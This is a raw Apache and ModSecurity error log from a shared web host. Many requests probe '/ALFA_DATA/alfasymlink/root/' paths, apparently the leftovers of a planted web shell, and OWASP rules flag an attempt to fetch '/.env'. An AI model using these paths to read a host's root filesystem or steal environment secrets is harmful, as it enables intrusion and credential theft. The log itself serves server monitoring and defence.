[Mon Oct 26 19:17:14.330195 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 54.225.148.123:25392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/new_id
[Mon Oct 26 19:17:14.330653 2026] [security2:error] [pid 3084053:tid 3084053] [client 54.225.148.123:25392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/new_id"] [unique_id "at_fevCtl1PgaN9A_9xMQgAAADQ"]
[Mon Oct 26 19:17:14.330688 2026] [security2:error] [pid 3084053:tid 3084053] [client 54.225.148.123:25392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/new_id"] [unique_id "at_fevCtl1PgaN9A_9xMQgAAADQ"]
[Mon Oct 26 19:17:18.164100 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.234.197.175:62107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:30.255954 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 18.214.251.19:50538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/thermal/unbind
[Mon Oct 26 19:17:38.312633 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.22.64.232:62719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:46.217470 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.234.200.207:16421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:50.151721 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.73.142.41:35325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:54.397036 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.5.232.250:11775] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:17:58.170097 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.213.202.136:9761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:02.134714 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.204.37.237:52495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/vmd/module/uevent
[Mon Oct 26 19:18:10.340703 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 85.208.96.201:21770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/trace
[Mon Oct 26 19:18:13.771870 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.16:19726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slab_size
[Mon Oct 26 19:18:14.463746 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.225.98.148:1996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:18.139604 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 50.19.102.70:1238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:26.292622 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 34.226.89.140:56411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/0000:00:03.0/resource4
[Mon Oct 26 19:18:30.197756 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.220.148.166:13763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:34.263461 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.3.26.180:9518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:42.162062 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.216.227.216:28752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:18:54.381358 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.227.234.246:61524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:14.137942 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 44.210.213.220:48396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:18.155489 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 100.29.160.53:26326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:22.154547 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.29.160.53:33800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:46.289030 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.225.199.17:63248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:50.163295 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 23.21.228.180:24010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:56.451224 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 185.191.171.9:14200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:19:58.160970 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.215.231.15:36174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:20:02.286625 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.45.194.165:30483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:20:10.157881 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 44.207.207.36:51348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/hardware_error_device/unbind
[Mon Oct 26 19:20:18.128429 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 54.83.240.58:18651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/xhci-hcd/unbind
[Mon Oct 26 19:20:22.134283 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 52.54.157.23:23310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/subsystem/rescan
[Mon Oct 26 19:20:38.191599 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.156.55.147:18036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:20:42.152079 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.194.14.255:17627] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:21:14.276782 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.23.214.190:20175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:21:22.151376 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.195.60.66:25323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:21:30.146222 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.45.92.83:59625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:21:40.525502 2026] [core:crit] [pid 3098114:tid 3098114] (13)Permission denied: [client 138.197.10.252:56686] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:21:40.941641 2026] [core:crit] [pid 3117428:tid 3117428] (13)Permission denied: [client 138.197.10.252:56690] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:21:41.234505 2026] [core:crit] [pid 3084053:tid 3084053] (13)Permission denied: [client 138.197.10.252:56708] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:21:42.262659 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.194.14.255:11607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:21:49.908814 2026] [security2:error] [pid 3113375:tid 3113375] [client 85.208.96.195:32836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mahara/php81/upgrade.php"] [unique_id "at_gjbFVcNHq_I-IXO772wAAAAM"]
[Mon Oct 26 19:21:49.908877 2026] [security2:error] [pid 3113375:tid 3113375] [client 85.208.96.195:32836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mahara/php81/upgrade.php"] [unique_id "at_gjbFVcNHq_I-IXO772wAAAAM"]
[Mon Oct 26 19:21:58.157368 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.200.142.199:12501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:22:02.171295 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 34.226.89.140:53900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory11/subsystem/drivers_probe
[Mon Oct 26 19:22:06.188197 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 100.28.57.133:62946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:22:11.675985 2026] [core:crit] [pid 3117426:tid 3117426] (13)Permission denied: [client 138.197.10.252:54528] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 19:22:13.543534 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 138.197.10.252:54676] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:22:14.269059 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.4.238.8:2801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:22:15.118353 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.7:61510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/free_calls
[Mon Oct 26 19:22:18.273444 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.232.11.247:10739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:22:22.181690 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.203.111.15:25740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:22:26.150930 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 52.202.52.82:55127] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS1/iomem_reg_shift
[Mon Oct 26 19:22:36.125746 2026] [authz_core:error] [pid 3117428:tid 3117428] [client 138.197.10.252:43938] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 19:22:50.154405 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 34.192.125.239:54214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/driver/uevent
[Mon Oct 26 19:22:58.347032 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.20.178.124:46763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:02.160885 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.204.89.56:28746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:02.161068 2026] [security2:error] [pid 3084053:tid 3084053] [client 18.204.89.56:28746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/memory9/uevent"] [unique_id "at_g1vCtl1PgaN9A_9xMUwAAADQ"]
[Mon Oct 26 19:23:02.161100 2026] [security2:error] [pid 3084053:tid 3084053] [client 18.204.89.56:28746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/memory9/uevent"] [unique_id "at_g1vCtl1PgaN9A_9xMUwAAADQ"]
[Mon Oct 26 19:23:14.056765 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 185.191.171.8:52856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/shrink
[Mon Oct 26 19:23:14.313799 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.206.212.24:15824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:21.283624 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 185.191.171.17:33350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:22.255050 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.207.47.227:19493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:26.177347 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 54.145.82.217:40692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:36.603610 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 185.191.171.12:13066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:23:38.284420 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.93.253.174:30061] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/10/"] [unique_id "at_g-oU8RArHmY5bTmWuUAAAAAY"]
[Mon Oct 26 19:23:38.284466 2026] [security2:error] [pid 3098114:tid 3098114] [client 3.93.253.174:30061] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/10/"] [unique_id "at_g-oU8RArHmY5bTmWuUAAAAAY"]
[Mon Oct 26 19:23:42.229528 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 18.204.152.114:14733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/physical_node/rom
[Mon Oct 26 19:23:46.173386 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.238.45.183:42956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:01.047263 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 185.191.171.9:21260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:02.831024 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 85.208.96.202:35956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:16.395917 2026] [security2:error] [pid 3112229:tid 3112229] [client 107.172.76.131:56799] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_hEq-38nK2hNeBrtRCnwAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:24:16.395974 2026] [security2:error] [pid 3112229:tid 3112229] [client 107.172.76.131:56799] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_hEq-38nK2hNeBrtRCnwAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 19:24:26.451033 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.231.193.38:59520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:30.167604 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.233.114.237:22319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:34.179093 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.5.242.243:62679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:38.209951 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 98.82.214.73:15838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu1/crash_notes_size
[Mon Oct 26 19:24:42.176904 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 35.169.119.108:36999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:46.544149 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.219.81.66:38365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:50.158862 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.225.9.97:52042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:24:58.246141 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 98.84.131.195:18879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/usersize
[Mon Oct 26 19:25:06.226153 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.44.174.136:24096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:25:18.163259 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.45.77.169:15058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:25:22.153283 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.83.56.1:3568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:25:26.149083 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.70.123.241:5701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:25:34.164405 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 44.215.231.15:27170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/subsystem/drivers_probe
[Mon Oct 26 19:25:41.219374 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 85.208.96.208:46452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/ctor
[Mon Oct 26 19:25:50.237440 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.84.161.62:48555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:25:58.194205 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.90.8.255:14854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:06.547538 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.0.41.164:57590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/firmware_node/physical_node/crash_notes
[Mon Oct 26 19:26:14.211072 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 98.84.184.80:58817] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:26.408376 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.1.157.90:60550] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:30.266740 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.3.104.214:49638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:34.450399 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.235.172.96:15209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:38.058261 2026] [security2:error] [pid 3098116:tid 3098116] [client 43.157.22.57:45922] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_hrjS1e-yu7xYT1dr7WgAAAAk"]
[Mon Oct 26 19:26:38.060223 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 43.157.22.57:45922] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 19:26:42.433577 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.94.199.128:54961] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:46.880969 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.83.180.239:60032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:46.881194 2026] [security2:error] [pid 3098114:tid 3098114] [client 54.83.180.239:60032] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory9/power/runtime_active_time"] [unique_id "at_htoU8RArHmY5bTmWuWAAAAAY"]
[Mon Oct 26 19:26:46.881248 2026] [security2:error] [pid 3098114:tid 3098114] [client 54.83.180.239:60032] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory9/power/runtime_active_time"] [unique_id "at_htoU8RArHmY5bTmWuWAAAAAY"]
[Mon Oct 26 19:26:50.258488 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 34.225.243.131:25784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:26:54.481909 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.16:42640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/reclaim_account
[Mon Oct 26 19:27:22.258801 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.3.26.180:39687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:27:26.625483 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 34.194.233.48:29283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0_wc
[Mon Oct 26 19:27:42.254326 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.206.47.187:20120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:27:46.564890 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.205.192.249:45879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:27:50.630985 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 50.16.216.166:54073] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:27:54.265459 2026] [ssl:error] [pid 3106856:tid 3106856] (5)Input/output error: [client 3.210.223.61:7804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:06.678555 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.207:41460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/objects_partial
[Mon Oct 26 19:28:14.442787 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.204.253.129:23844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:18.607767 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.119.108:60188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:32.535104 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 185.191.171.13:45294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/store_user
[Mon Oct 26 19:28:38.663301 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 107.23.62.75:42151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:42.456815 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.7.13.143:40306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:46.296372 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.119.108:63309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:54.447411 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.214.138.148:52038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:28:57.452576 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.12:29078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/objects
[Mon Oct 26 19:29:00.555638 2026] [security2:error] [pid 3113375:tid 3113375] [client 130.12.180.165:48502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_iPLFVcNHq_I-IXO777wAAAAM"]
